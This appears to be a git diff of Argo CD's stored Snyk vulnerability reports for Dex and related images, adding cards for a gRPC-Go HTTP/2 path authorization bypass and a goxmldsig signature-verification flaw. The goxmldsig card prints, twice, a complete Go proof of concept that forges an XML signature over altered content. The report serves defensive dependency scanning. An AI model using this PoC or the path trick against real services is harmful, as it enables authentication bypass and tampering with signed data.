<p>Upgrade <code>google.golang.org/grpc</code> to version 1.79.3 or higher.</p>
|
||||
<h2 id="references">References</h2>
|
||||
<ul>
|
||||
<li><a href="https://github.com/madler/zlib">https://github.com/madler/zlib</a></li>
|
||||
<li><a href="https://seclists.org/fulldisclosure/2026/Jan/3">https://seclists.org/fulldisclosure/2026/Jan/3</a></li>
|
||||
<li><a href="https://www.vulncheck.com/advisories/zlib-untgz-global-buffer-overflow-in-tgzfname">https://www.vulncheck.com/advisories/zlib-untgz-global-buffer-overflow-in-tgzfname</a></li>
|
||||
<li><a href="https://zlib.net/">https://zlib.net/</a></li>
|
||||
<li><a href="https://github.com/madler/zlib/issues/1142">https://github.com/madler/zlib/issues/1142</a></li>
|
||||
<li><a href="https://github.com/grpc/grpc-go/commit/72186f163e75a065c39e6f7df9b6dea07fbdeff5">GitHub Commit</a></li>
|
||||
</ul>
|
||||
|
||||
<hr/>
|
||||
|
||||
<div class="cta card__cta">
|
||||
<p><a href="https://snyk.io/vuln/SNYK-ALPINE323-ZLIB-15435528">More about this vulnerability</a></p>
|
||||
<p><a href="https://snyk.io/vuln/SNYK-GOLANG-GOOGLEGOLANGORGGRPC-15691172">More about this vulnerability</a></p>
|
||||
</div>
|
||||
|
||||
</div><!-- .card -->
|
||||
@@ -686,6 +670,193 @@
|
||||
<p><a href="https://snyk.io/vuln/SNYK-GOLANG-GOOPENTELEMETRYIOOTELSDKRESOURCE-15182758">More about this vulnerability</a></p>
|
||||
</div>
|
||||
|
||||
</div><!-- .card -->
|
||||
<div class="card card--vuln disclosure--not-new severity--high" data-snyk-test="high">
|
||||
<h2 class="card__title">Improper Verification of Cryptographic Signature</h2>
|
||||
<div class="card__section">
|
||||
|
||||
<div class="card__labels">
|
||||
<div class="label label--high">
|
||||
<span class="label__text">high severity</span>
|
||||
</div>
|
||||
<div class="label label--exploit">
|
||||
<span class="label__text">Exploit: Proof of Concept</span>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<hr/>
|
||||
|
||||
<ul class="card__meta">
|
||||
<li class="card__meta__item">
|
||||
Manifest file: ghcr.io/dexidp/dex:v2.45.0/dexidp/dex <span class="list-paths__item__arrow">›</span> /usr/local/bin/dex
|
||||
</li>
|
||||
<li class="card__meta__item">
|
||||
Package Manager: golang
|
||||
</li>
|
||||
<li class="card__meta__item">
|
||||
Vulnerable module:
|
||||
|
||||
github.com/russellhaering/goxmldsig
|
||||
</li>
|
||||
|
||||
<li class="card__meta__item">Introduced through:
|
||||
|
||||
github.com/dexidp/dex@* and github.com/russellhaering/goxmldsig@v1.5.0
|
||||
|
||||
</li>
|
||||
</ul>
|
||||
|
||||
<hr/>
|
||||
|
||||
|
||||
<h3 class="card__section__title">Detailed paths</h3>
|
||||
|
||||
<ul class="card__meta__paths">
|
||||
<li>
|
||||
<span class="list-paths__item__introduced"><em>Introduced through</em>:
|
||||
github.com/dexidp/dex@*
|
||||
<span class="list-paths__item__arrow">›</span>
|
||||
github.com/russellhaering/goxmldsig@v1.5.0
|
||||
|
||||
</span>
|
||||
|
||||
</li>
|
||||
</ul><!-- .list-paths -->
|
||||
|
||||
</div><!-- .card__section -->
|
||||
|
||||
<hr/>
|
||||
<!-- Overview -->
|
||||
<h2 id="overview">Overview</h2>
|
||||
<p><a href="https://github.com/russellhaering/goxmldsig">github.com/russellhaering/goxmldsig</a> is a XML Digital Signatures implemented in pure Go.</p>
|
||||
<p>Affected versions of this package are vulnerable to Improper Verification of Cryptographic Signature through the <code>validateSignature</code> function in the <code>validate.go</code> file. An attacker can bypass integrity checks and alter the contents of signed elements by exploiting pointer aliasing on a loop variable, allowing them to replace one element's contents with another referenced element's.</p>
|
||||
<h2 id="poc">PoC</h2>
|
||||
<pre><code>package main
|
||||
|
||||
import (
|
||||
"crypto/rand"
|
||||
"crypto/rsa"
|
||||
"crypto/tls"
|
||||
"crypto/x509"
|
||||
"encoding/base64"
|
||||
"fmt"
|
||||
"math/big"
|
||||
"time"
|
||||
|
||||
"github.com/beevik/etree"
|
||||
dsig "github.com/russellhaering/goxmldsig"
|
||||
)
|
||||
|
||||
func main() {
|
||||
key, err := rsa.GenerateKey(rand.Reader, 2048)
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
|
||||
template := &x509.Certificate{
|
||||
SerialNumber: big.NewInt(1),
|
||||
NotBefore: time.Now().Add(-1 * time.Hour),
|
||||
NotAfter: time.Now().Add(1 * time.Hour),
|
||||
}
|
||||
|
||||
certDER, err := x509.CreateCertificate(rand.Reader, template, template, &key.PublicKey, key)
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
|
||||
cert, _ := x509.ParseCertificate(certDER)
|
||||
|
||||
doc := etree.NewDocument()
|
||||
root := doc.CreateElement("Root")
|
||||
root.CreateAttr("ID", "target")
|
||||
root.SetText("Malicious Content")
|
||||
|
||||
tlsCert := tls.Certificate{
|
||||
Certificate: [][]byte{cert.Raw},
|
||||
PrivateKey: key,
|
||||
}
|
||||
|
||||
ks := dsig.TLSCertKeyStore(tlsCert)
|
||||
signingCtx := dsig.NewDefaultSigningContext(ks)
|
||||
|
||||
sig, err := signingCtx.ConstructSignature(root, true)
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
|
||||
signedInfo := sig.FindElement("./SignedInfo")
|
||||
|
||||
existingRef := signedInfo.FindElement("./Reference")
|
||||
existingRef.CreateAttr("URI", "#dummy")
|
||||
|
||||
originalEl := etree.NewElement("Root")
|
||||
originalEl.CreateAttr("ID", "target")
|
||||
originalEl.SetText("Original Content")
|
||||
|
||||
sig1, _ := signingCtx.ConstructSignature(originalEl, true)
|
||||
ref1 := sig1.FindElement("./SignedInfo/Reference").Copy()
|
||||
|
||||
signedInfo.InsertChildAt(existingRef.Index(), ref1)
|
||||
|
||||
c14n := signingCtx.Canonicalizer
|
||||
|
||||
detachedSI := signedInfo.Copy()
|
||||
if detachedSI.SelectAttr("xmlns:"+dsig.DefaultPrefix) == nil {
|
||||
detachedSI.CreateAttr("xmlns:"+dsig.DefaultPrefix, dsig.Namespace)
|
||||
}
|
||||
|
||||
canonicalBytes, err := c14n.Canonicalize(detachedSI)
|
||||
if err != nil {
|
||||
fmt.Println("c14n error:", err)
|
||||
return
|
||||
}
|
||||
|
||||
hash := signingCtx.Hash.New()
|
||||
hash.Write(canonicalBytes)
|
||||
digest := hash.Sum(nil)
|
||||
|
||||
rawSig, err := rsa.SignPKCS1v15(rand.Reader, key, signingCtx.Hash, digest)
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
|
||||
sigVal := sig.FindElement("./SignatureValue")
|
||||
sigVal.SetText(base64.StdEncoding.EncodeToString(rawSig))
|
||||
|
||||
certStore := &dsig.MemoryX509CertificateStore{
|
||||
Roots: []*x509.Certificate{cert},
|
||||
}
|
||||
valCtx := dsig.NewDefaultValidationContext(certStore)
|
||||
|
||||
root.AddChild(sig)
|
||||
|
||||
doc.SetRoot(root)
|
||||
str, _ := doc.WriteToString()
|
||||
fmt.Println("XML:")
|
||||
fmt.Println(str)
|
||||
|
||||
validated, err := valCtx.Validate(root)
|
||||
if err != nil {
|
||||
fmt.Println("validation failed:", err)
|
||||
} else {
|
||||
fmt.Println("validation ok")
|
||||
fmt.Println("validated text:", validated.Text())
|
||||
}
|
||||
}
|
||||
</code></pre>
|
||||
<h2 id="remediation">Remediation</h2>
|
||||
<p>Upgrade <code>github.com/russellhaering/goxmldsig</code> to version 1.6.0 or higher.</p>
|
||||
<h2 id="references">References</h2>
|
||||
<ul>
|
||||
<li><a href="https://github.com/russellhaering/goxmldsig/commit/db3d1e31f7535d7f5debb49851b9e9a2ff08b936">GitHub Commit</a></li>
|
||||
</ul>
|
||||
|
||||
<hr/>
|
||||
|
||||
<div class="cta card__cta">
|
||||
<p><a href="https://snyk.io/vuln/SNYK-GOLANG-GITHUBCOMRUSSELLHAERINGGOXMLDSIG-15692488">More about this vulnerability</a></p>
|
||||
</div>
|
||||
|
||||
</div><!-- .card -->
|
||||
<div class="card card--vuln disclosure--not-new severity--medium" data-snyk-test="medium">
|
||||
<h2 class="card__title">Improper Validation of Specified Quantity in Input</h2>
|
||||
@@ -773,9 +944,9 @@
|
||||
<h2 id="references">References</h2>
|
||||
<ul>
|
||||
<li><a href="https://7asecurity.com/blog/2026/02/zlib-7asecurity-audit/">https://7asecurity.com/blog/2026/02/zlib-7asecurity-audit/</a></li>
|
||||
<li><a href="https://github.com/madler/zlib/issues/904">https://github.com/madler/zlib/issues/904</a></li>
|
||||
<li><a href="https://github.com/madler/zlib/releases/tag/v1.3.2">https://github.com/madler/zlib/releases/tag/v1.3.2</a></li>
|
||||
<li><a href="https://ostif.org/zlib-audit-complete/">https://ostif.org/zlib-audit-complete/</a></li>
|
||||
<li><a href="https://github.com/madler/zlib/issues/904">https://github.com/madler/zlib/issues/904</a></li>
|
||||
<li><a href="https://7asecurity.com/reports/pentest-report-zlib-RC1.1.pdf">https://7asecurity.com/reports/pentest-report-zlib-RC1.1.pdf</a></li>
|
||||
</ul>
|
||||
|
||||
|
||||
@@ -492,7 +492,7 @@
|
||||
<div class="header-wrap">
|
||||
<h1 class="project__header__title">Snyk test report</h1>
|
||||
|
||||
<p class="timestamp">March 8th 2026, 12:28:23 am (UTC+00:00)</p>
|
||||
<p class="timestamp">March 29th 2026, 12:33:39 am (UTC+00:00)</p>
|
||||
</div>
|
||||
<div class="source-panel">
|
||||
<span>Scanned the following path:</span>
|
||||
|
||||
@@ -492,7 +492,7 @@
|
||||
<div class="header-wrap">
|
||||
<h1 class="project__header__title">Snyk test report</h1>
|
||||
|
||||
<p class="timestamp">March 8th 2026, 12:28:29 am (UTC+00:00)</p>
|
||||
<p class="timestamp">March 29th 2026, 12:33:46 am (UTC+00:00)</p>
|
||||
</div>
|
||||
<div class="source-panel">
|
||||
<span>Scanned the following path:</span>
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
@@ -456,7 +456,7 @@
|
||||
<div class="header-wrap">
|
||||
<h1 class="project__header__title">Snyk test report</h1>
|
||||
|
||||
<p class="timestamp">March 8th 2026, 12:38:20 am (UTC+00:00)</p>
|
||||
<p class="timestamp">March 29th 2026, 12:46:52 am (UTC+00:00)</p>
|
||||
</div>
|
||||
<div class="source-panel">
|
||||
<span>Scanned the following path:</span>
|
||||
@@ -456,7 +456,7 @@
|
||||
<div class="header-wrap">
|
||||
<h1 class="project__header__title">Snyk test report</h1>
|
||||
|
||||
<p class="timestamp">March 8th 2026, 12:38:29 am (UTC+00:00)</p>
|
||||
<p class="timestamp">March 29th 2026, 12:47:01 am (UTC+00:00)</p>
|
||||
</div>
|
||||
<div class="source-panel">
|
||||
<span>Scanned the following path:</span>
|
||||
File diff suppressed because it is too large
Load Diff
@@ -7,7 +7,7 @@
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<meta http-equiv="X-UA-Compatible" content="IE=edge">
|
||||
<title>Snyk test report</title>
|
||||
<meta name="description" content="46 known vulnerabilities found in 141 vulnerable dependency paths.">
|
||||
<meta name="description" content="48 known vulnerabilities found in 144 vulnerable dependency paths.">
|
||||
<base target="_blank">
|
||||
<link rel="icon" type="image/png" href="https://res.cloudinary.com/snyk/image/upload/v1468845142/favicon/favicon.png"
|
||||
sizes="194x194">
|
||||
@@ -492,7 +492,7 @@
|
||||
<div class="header-wrap">
|
||||
<h1 class="project__header__title">Snyk test report</h1>
|
||||
|
||||
<p class="timestamp">March 8th 2026, 12:31:08 am (UTC+00:00)</p>
|
||||
<p class="timestamp">March 29th 2026, 12:44:58 am (UTC+00:00)</p>
|
||||
</div>
|
||||
<div class="source-panel">
|
||||
<span>Scanned the following paths:</span>
|
||||
@@ -505,9 +505,9 @@
|
||||
</div>
|
||||
|
||||
<div class="meta-counts">
|
||||
<div class="meta-count"><span>46</span> <span>known vulnerabilities</span></div>
|
||||
<div class="meta-count"><span>141 vulnerable dependency paths</span></div>
|
||||
<div class="meta-count"><span>1131</span> <span>dependencies</span></div>
|
||||
<div class="meta-count"><span>48</span> <span>known vulnerabilities</span></div>
|
||||
<div class="meta-count"><span>144 vulnerable dependency paths</span></div>
|
||||
<div class="meta-count"><span>1134</span> <span>dependencies</span></div>
|
||||
</div><!-- .meta-counts -->
|
||||
</div><!-- .layout-container--short -->
|
||||
</header><!-- .project__header -->
|
||||
@@ -515,6 +515,89 @@
|
||||
|
||||
<div class="layout-container" style="padding-top: 35px;">
|
||||
<div class="cards--vuln filter--patch filter--ignore">
|
||||
<div class="card card--vuln disclosure--not-new severity--critical" data-snyk-test="critical">
|
||||
<h2 class="card__title">Incorrect Authorization</h2>
|
||||
<div class="card__section">
|
||||
|
||||
<div class="card__labels">
|
||||
<div class="label label--critical">
|
||||
<span class="label__text">critical severity</span>
|
||||
</div>
|
||||
<div class="label label--exploit">
|
||||
<span class="label__text">Exploit: Not Defined</span>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<hr/>
|
||||
|
||||
<ul class="card__meta">
|
||||
<li class="card__meta__item">
|
||||
Manifest file: ghcr.io/dexidp/dex:v2.43.0/hairyhenderson/gomplate/v4 <span class="list-paths__item__arrow">›</span> /usr/local/bin/gomplate
|
||||
</li>
|
||||
<li class="card__meta__item">
|
||||
Package Manager: golang
|
||||
</li>
|
||||
<li class="card__meta__item">
|
||||
Vulnerable module:
|
||||
|
||||
google.golang.org/grpc
|
||||
</li>
|
||||
|
||||
<li class="card__meta__item">Introduced through:
|
||||
|
||||
github.com/hairyhenderson/gomplate/v4@* and google.golang.org/grpc@v1.68.1
|
||||
|
||||
</li>
|
||||
</ul>
|
||||
|
||||
<hr/>
|
||||
|
||||
|
||||
<h3 class="card__section__title">Detailed paths</h3>
|
||||
|
||||
<ul class="card__meta__paths">
|
||||
<li>
|
||||
<span class="list-paths__item__introduced"><em>Introduced through</em>:
|
||||
github.com/hairyhenderson/gomplate/v4@*
|
||||
<span class="list-paths__item__arrow">›</span>
|
||||
google.golang.org/grpc@v1.68.1
|
||||
|
||||
</span>
|
||||
|
||||
</li>
|
||||
<li>
|
||||
<span class="list-paths__item__introduced"><em>Introduced through</em>:
|
||||
github.com/dexidp/dex@*
|
||||
<span class="list-paths__item__arrow">›</span>
|
||||
google.golang.org/grpc@v1.72.1
|
||||
|
||||
</span>
|
||||
|
||||
</li>
|
||||
</ul><!-- .list-paths -->
|
||||
|
||||
</div><!-- .card__section -->
|
||||
|
||||
<hr/>
|
||||
<!-- Overview -->
|
||||
<h2 id="overview">Overview</h2>
|
||||
<p>Affected versions of this package are vulnerable to Incorrect Authorization in the processing of HTTP/2 <code>:path</code> pseudo-headers in <code>handleStream()</code>. An attacker can gain unauthorized access to restricted resources by sending requests with malformed <code>:path</code> headers that omit the leading slash. This is only exploitable if the server uses path-based authorization interceptors, has deny rules that use canonical paths with leading slashes, and has a fallback allow rule in its policy.</p>
|
||||
<h2 id="workaround">Workaround</h2>
|
||||
<p>This vulnerability can be mitigated by adding a validating interceptor that rejects requests with malformed paths, configuring infrastructure (such as reverse proxies) to enforce strict HTTP/2 compliance, or switching to a default-deny authorization policy.</p>
|
||||
<h2 id="remediation">Remediation</h2>
|
||||
<p>Upgrade <code>google.golang.org/grpc</code> to version 1.79.3 or higher.</p>
|
||||
<h2 id="references">References</h2>
|
||||
<ul>
|
||||
<li><a href="https://github.com/grpc/grpc-go/commit/72186f163e75a065c39e6f7df9b6dea07fbdeff5">GitHub Commit</a></li>
|
||||
</ul>
|
||||
|
||||
<hr/>
|
||||
|
||||
<div class="cta card__cta">
|
||||
<p><a href="https://snyk.io/vuln/SNYK-GOLANG-GOOGLEGOLANGORGGRPC-15691172">More about this vulnerability</a></p>
|
||||
</div>
|
||||
|
||||
</div><!-- .card -->
|
||||
<div class="card card--vuln disclosure--not-new severity--high" data-snyk-test="high">
|
||||
<h2 class="card__title">CVE-2025-69421</h2>
|
||||
<div class="card__section">
|
||||
@@ -1055,6 +1138,193 @@
|
||||
<p><a href="https://snyk.io/vuln/SNYK-GOLANG-GOOPENTELEMETRYIOOTELSDKRESOURCE-15182758">More about this vulnerability</a></p>
|
||||
</div>
|
||||
|
||||
</div><!-- .card -->
|
||||
<div class="card card--vuln disclosure--not-new severity--high" data-snyk-test="high">
|
||||
<h2 class="card__title">Improper Verification of Cryptographic Signature</h2>
|
||||
<div class="card__section">
|
||||
|
||||
<div class="card__labels">
|
||||
<div class="label label--high">
|
||||
<span class="label__text">high severity</span>
|
||||
</div>
|
||||
<div class="label label--exploit">
|
||||
<span class="label__text">Exploit: Proof of Concept</span>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<hr/>
|
||||
|
||||
<ul class="card__meta">
|
||||
<li class="card__meta__item">
|
||||
Manifest file: ghcr.io/dexidp/dex:v2.43.0/dexidp/dex <span class="list-paths__item__arrow">›</span> /usr/local/bin/dex
|
||||
</li>
|
||||
<li class="card__meta__item">
|
||||
Package Manager: golang
|
||||
</li>
|
||||
<li class="card__meta__item">
|
||||
Vulnerable module:
|
||||
|
||||
github.com/russellhaering/goxmldsig
|
||||
</li>
|
||||
|
||||
<li class="card__meta__item">Introduced through:
|
||||
|
||||
github.com/dexidp/dex@* and github.com/russellhaering/goxmldsig@v1.5.0
|
||||
|
||||
</li>
|
||||
</ul>
|
||||
|
||||
<hr/>
|
||||
|
||||
|
||||
<h3 class="card__section__title">Detailed paths</h3>
|
||||
|
||||
<ul class="card__meta__paths">
|
||||
<li>
|
||||
<span class="list-paths__item__introduced"><em>Introduced through</em>:
|
||||
github.com/dexidp/dex@*
|
||||
<span class="list-paths__item__arrow">›</span>
|
||||
github.com/russellhaering/goxmldsig@v1.5.0
|
||||
|
||||
</span>
|
||||
|
||||
</li>
|
||||
</ul><!-- .list-paths -->
|
||||
|
||||
</div><!-- .card__section -->
|
||||
|
||||
<hr/>
|
||||
<!-- Overview -->
|
||||
<h2 id="overview">Overview</h2>
|
||||
<p><a href="https://github.com/russellhaering/goxmldsig">github.com/russellhaering/goxmldsig</a> is a XML Digital Signatures implemented in pure Go.</p>
|
||||
<p>Affected versions of this package are vulnerable to Improper Verification of Cryptographic Signature through the <code>validateSignature</code> function in the <code>validate.go</code> file. An attacker can bypass integrity checks and alter the contents of signed elements by exploiting pointer aliasing on a loop variable, allowing them to replace one element's contents with another referenced element's.</p>
|
||||
<h2 id="poc">PoC</h2>
|
||||
<pre><code>package main
|
||||
|
||||
import (
|
||||
"crypto/rand"
|
||||
"crypto/rsa"
|
||||
"crypto/tls"
|
||||
"crypto/x509"
|
||||
"encoding/base64"
|
||||
"fmt"
|
||||
"math/big"
|
||||
"time"
|
||||
|
||||
"github.com/beevik/etree"
|
||||
dsig "github.com/russellhaering/goxmldsig"
|
||||
)
|
||||
|
||||
func main() {
|
||||
key, err := rsa.GenerateKey(rand.Reader, 2048)
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
|
||||
template := &x509.Certificate{
|
||||
SerialNumber: big.NewInt(1),
|
||||
NotBefore: time.Now().Add(-1 * time.Hour),
|
||||
NotAfter: time.Now().Add(1 * time.Hour),
|
||||
}
|
||||
|
||||
certDER, err := x509.CreateCertificate(rand.Reader, template, template, &key.PublicKey, key)
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
|
||||
cert, _ := x509.ParseCertificate(certDER)
|
||||
|
||||
doc := etree.NewDocument()
|
||||
root := doc.CreateElement("Root")
|
||||
root.CreateAttr("ID", "target")
|
||||
root.SetText("Malicious Content")
|
||||
|
||||
tlsCert := tls.Certificate{
|
||||
Certificate: [][]byte{cert.Raw},
|
||||
PrivateKey: key,
|
||||
}
|
||||
|
||||
ks := dsig.TLSCertKeyStore(tlsCert)
|
||||
signingCtx := dsig.NewDefaultSigningContext(ks)
|
||||
|
||||
sig, err := signingCtx.ConstructSignature(root, true)
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
|
||||
signedInfo := sig.FindElement("./SignedInfo")
|
||||
|
||||
existingRef := signedInfo.FindElement("./Reference")
|
||||
existingRef.CreateAttr("URI", "#dummy")
|
||||
|
||||
originalEl := etree.NewElement("Root")
|
||||
originalEl.CreateAttr("ID", "target")
|
||||
originalEl.SetText("Original Content")
|
||||
|
||||
sig1, _ := signingCtx.ConstructSignature(originalEl, true)
|
||||
ref1 := sig1.FindElement("./SignedInfo/Reference").Copy()
|
||||
|
||||
signedInfo.InsertChildAt(existingRef.Index(), ref1)
|
||||
|
||||
c14n := signingCtx.Canonicalizer
|
||||
|
||||
detachedSI := signedInfo.Copy()
|
||||
if detachedSI.SelectAttr("xmlns:"+dsig.DefaultPrefix) == nil {
|
||||
detachedSI.CreateAttr("xmlns:"+dsig.DefaultPrefix, dsig.Namespace)
|
||||
}
|
||||
|
||||
canonicalBytes, err := c14n.Canonicalize(detachedSI)
|
||||
if err != nil {
|
||||
fmt.Println("c14n error:", err)
|
||||
return
|
||||
}
|
||||
|
||||
hash := signingCtx.Hash.New()
|
||||
hash.Write(canonicalBytes)
|
||||
digest := hash.Sum(nil)
|
||||
|
||||
rawSig, err := rsa.SignPKCS1v15(rand.Reader, key, signingCtx.Hash, digest)
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
|
||||
sigVal := sig.FindElement("./SignatureValue")
|
||||
sigVal.SetText(base64.StdEncoding.EncodeToString(rawSig))
|
||||
|
||||
certStore := &dsig.MemoryX509CertificateStore{
|
||||
Roots: []*x509.Certificate{cert},
|
||||
}
|
||||
valCtx := dsig.NewDefaultValidationContext(certStore)
|
||||
|
||||
root.AddChild(sig)
|
||||
|
||||
doc.SetRoot(root)
|
||||
str, _ := doc.WriteToString()
|
||||
fmt.Println("XML:")
|
||||
fmt.Println(str)
|
||||
|
||||
validated, err := valCtx.Validate(root)
|
||||
if err != nil {
|
||||
fmt.Println("validation failed:", err)
|
||||
} else {
|
||||
fmt.Println("validation ok")
|
||||
fmt.Println("validated text:", validated.Text())
|
||||
}
|
||||
}
|
||||
</code></pre>
|
||||
<h2 id="remediation">Remediation</h2>
|
||||
<p>Upgrade <code>github.com/russellhaering/goxmldsig</code> to version 1.6.0 or higher.</p>
|
||||
<h2 id="references">References</h2>
|
||||
<ul>
|
||||
<li><a href="https://github.com/russellhaering/goxmldsig/commit/db3d1e31f7535d7f5debb49851b9e9a2ff08b936">GitHub Commit</a></li>
|
||||
</ul>
|
||||
|
||||
<hr/>
|
||||
|
||||
<div class="cta card__cta">
|
||||
<p><a href="https://snyk.io/vuln/SNYK-GOLANG-GITHUBCOMRUSSELLHAERINGGOXMLDSIG-15692488">More about this vulnerability</a></p>
|
||||
</div>
|
||||
|
||||
</div><!-- .card -->
|
||||
<div class="card card--vuln disclosure--not-new severity--high" data-snyk-test="high">
|
||||
<h2 class="card__title">Asymmetric Resource Consumption (Amplification)</h2>
|
||||
@@ -492,7 +492,7 @@
|
||||
<div class="header-wrap">
|
||||
<h1 class="project__header__title">Snyk test report</h1>
|
||||
|
||||
<p class="timestamp">March 8th 2026, 12:33:58 am (UTC+00:00)</p>
|
||||
<p class="timestamp">March 29th 2026, 12:45:03 am (UTC+00:00)</p>
|
||||
</div>
|
||||
<div class="source-panel">
|
||||
<span>Scanned the following path:</span>
|
||||
@@ -492,7 +492,7 @@
|
||||
<div class="header-wrap">
|
||||
<h1 class="project__header__title">Snyk test report</h1>
|
||||
|
||||
<p class="timestamp">March 8th 2026, 12:36:40 am (UTC+00:00)</p>
|
||||
<p class="timestamp">March 29th 2026, 12:45:11 am (UTC+00:00)</p>
|
||||
</div>
|
||||
<div class="source-panel">
|
||||
<span>Scanned the following paths:</span>
|
||||
@@ -505,7 +505,7 @@
|
||||
<div class="meta-counts">
|
||||
<div class="meta-count"><span>12</span> <span>known vulnerabilities</span></div>
|
||||
<div class="meta-count"><span>100 vulnerable dependency paths</span></div>
|
||||
<div class="meta-count"><span>19</span> <span>dependencies</span></div>
|
||||
<div class="meta-count"><span>20</span> <span>dependencies</span></div>
|
||||
</div><!-- .meta-counts -->
|
||||
</div><!-- .layout-container--short -->
|
||||
</header><!-- .project__header -->
|
||||
2927
docs/snyk/v3.1.13/quay.io_argoproj_argocd_v3.1.13.html
Normal file
2927
docs/snyk/v3.1.13/quay.io_argoproj_argocd_v3.1.13.html
Normal file
File diff suppressed because it is too large
Load Diff
@@ -456,7 +456,7 @@
|
||||
<div class="header-wrap">
|
||||
<h1 class="project__header__title">Snyk test report</h1>
|
||||
|
||||
<p class="timestamp">March 8th 2026, 12:35:48 am (UTC+00:00)</p>
|
||||
<p class="timestamp">March 29th 2026, 12:44:19 am (UTC+00:00)</p>
|
||||
</div>
|
||||
<div class="source-panel">
|
||||
<span>Scanned the following path:</span>
|
||||
@@ -456,7 +456,7 @@
|
||||
<div class="header-wrap">
|
||||
<h1 class="project__header__title">Snyk test report</h1>
|
||||
|
||||
<p class="timestamp">March 8th 2026, 12:35:58 am (UTC+00:00)</p>
|
||||
<p class="timestamp">March 29th 2026, 12:44:28 am (UTC+00:00)</p>
|
||||
</div>
|
||||
<div class="source-panel">
|
||||
<span>Scanned the following path:</span>
|
||||
5513
docs/snyk/v3.2.8/argocd-test.html
Normal file
5513
docs/snyk/v3.2.8/argocd-test.html
Normal file
File diff suppressed because it is too large
Load Diff
@@ -7,7 +7,7 @@
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<meta http-equiv="X-UA-Compatible" content="IE=edge">
|
||||
<title>Snyk test report</title>
|
||||
<meta name="description" content="46 known vulnerabilities found in 141 vulnerable dependency paths.">
|
||||
<meta name="description" content="48 known vulnerabilities found in 144 vulnerable dependency paths.">
|
||||
<base target="_blank">
|
||||
<link rel="icon" type="image/png" href="https://res.cloudinary.com/snyk/image/upload/v1468845142/favicon/favicon.png"
|
||||
sizes="194x194">
|
||||
@@ -492,7 +492,7 @@
|
||||
<div class="header-wrap">
|
||||
<h1 class="project__header__title">Snyk test report</h1>
|
||||
|
||||
<p class="timestamp">March 8th 2026, 12:33:53 am (UTC+00:00)</p>
|
||||
<p class="timestamp">March 29th 2026, 12:42:26 am (UTC+00:00)</p>
|
||||
</div>
|
||||
<div class="source-panel">
|
||||
<span>Scanned the following paths:</span>
|
||||
@@ -505,9 +505,9 @@
|
||||
</div>
|
||||
|
||||
<div class="meta-counts">
|
||||
<div class="meta-count"><span>46</span> <span>known vulnerabilities</span></div>
|
||||
<div class="meta-count"><span>141 vulnerable dependency paths</span></div>
|
||||
<div class="meta-count"><span>1131</span> <span>dependencies</span></div>
|
||||
<div class="meta-count"><span>48</span> <span>known vulnerabilities</span></div>
|
||||
<div class="meta-count"><span>144 vulnerable dependency paths</span></div>
|
||||
<div class="meta-count"><span>1134</span> <span>dependencies</span></div>
|
||||
</div><!-- .meta-counts -->
|
||||
</div><!-- .layout-container--short -->
|
||||
</header><!-- .project__header -->
|
||||
@@ -515,6 +515,89 @@
|
||||
|
||||
<div class="layout-container" style="padding-top: 35px;">
|
||||
<div class="cards--vuln filter--patch filter--ignore">
|
||||
<div class="card card--vuln disclosure--not-new severity--critical" data-snyk-test="critical">
|
||||
<h2 class="card__title">Incorrect Authorization</h2>
|
||||
<div class="card__section">
|
||||
|
||||
<div class="card__labels">
|
||||
<div class="label label--critical">
|
||||
<span class="label__text">critical severity</span>
|
||||
</div>
|
||||
<div class="label label--exploit">
|
||||
<span class="label__text">Exploit: Not Defined</span>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<hr/>
|
||||
|
||||
<ul class="card__meta">
|
||||
<li class="card__meta__item">
|
||||
Manifest file: ghcr.io/dexidp/dex:v2.43.0/hairyhenderson/gomplate/v4 <span class="list-paths__item__arrow">›</span> /usr/local/bin/gomplate
|
||||
</li>
|
||||
<li class="card__meta__item">
|
||||
Package Manager: golang
|
||||
</li>
|
||||
<li class="card__meta__item">
|
||||
Vulnerable module:
|
||||
|
||||
google.golang.org/grpc
|
||||
</li>
|
||||
|
||||
<li class="card__meta__item">Introduced through:
|
||||
|
||||
github.com/hairyhenderson/gomplate/v4@* and google.golang.org/grpc@v1.68.1
|
||||
|
||||
</li>
|
||||
</ul>
|
||||
|
||||
<hr/>
|
||||
|
||||
|
||||
<h3 class="card__section__title">Detailed paths</h3>
|
||||
|
||||
<ul class="card__meta__paths">
|
||||
<li>
|
||||
<span class="list-paths__item__introduced"><em>Introduced through</em>:
|
||||
github.com/hairyhenderson/gomplate/v4@*
|
||||
<span class="list-paths__item__arrow">›</span>
|
||||
google.golang.org/grpc@v1.68.1
|
||||
|
||||
</span>
|
||||
|
||||
</li>
|
||||
<li>
|
||||
<span class="list-paths__item__introduced"><em>Introduced through</em>:
|
||||
github.com/dexidp/dex@*
|
||||
<span class="list-paths__item__arrow">›</span>
|
||||
google.golang.org/grpc@v1.72.1
|
||||
|
||||
</span>
|
||||
|
||||
</li>
|
||||
</ul><!-- .list-paths -->
|
||||
|
||||
</div><!-- .card__section -->
|
||||
|
||||
<hr/>
|
||||
<!-- Overview -->
|
||||
<h2 id="overview">Overview</h2>
|
||||
<p>Affected versions of this package are vulnerable to Incorrect Authorization in the processing of HTTP/2 <code>:path</code> pseudo-headers in <code>handleStream()</code>. An attacker can gain unauthorized access to restricted resources by sending requests with malformed <code>:path</code> headers that omit the leading slash. This is only exploitable if the server uses path-based authorization interceptors, has deny rules that use canonical paths with leading slashes, and has a fallback allow rule in its policy.</p>
|
||||
<h2 id="workaround">Workaround</h2>
|
||||
<p>This vulnerability can be mitigated by adding a validating interceptor that rejects requests with malformed paths, configuring infrastructure (such as reverse proxies) to enforce strict HTTP/2 compliance, or switching to a default-deny authorization policy.</p>
|
||||
<h2 id="remediation">Remediation</h2>
|
||||
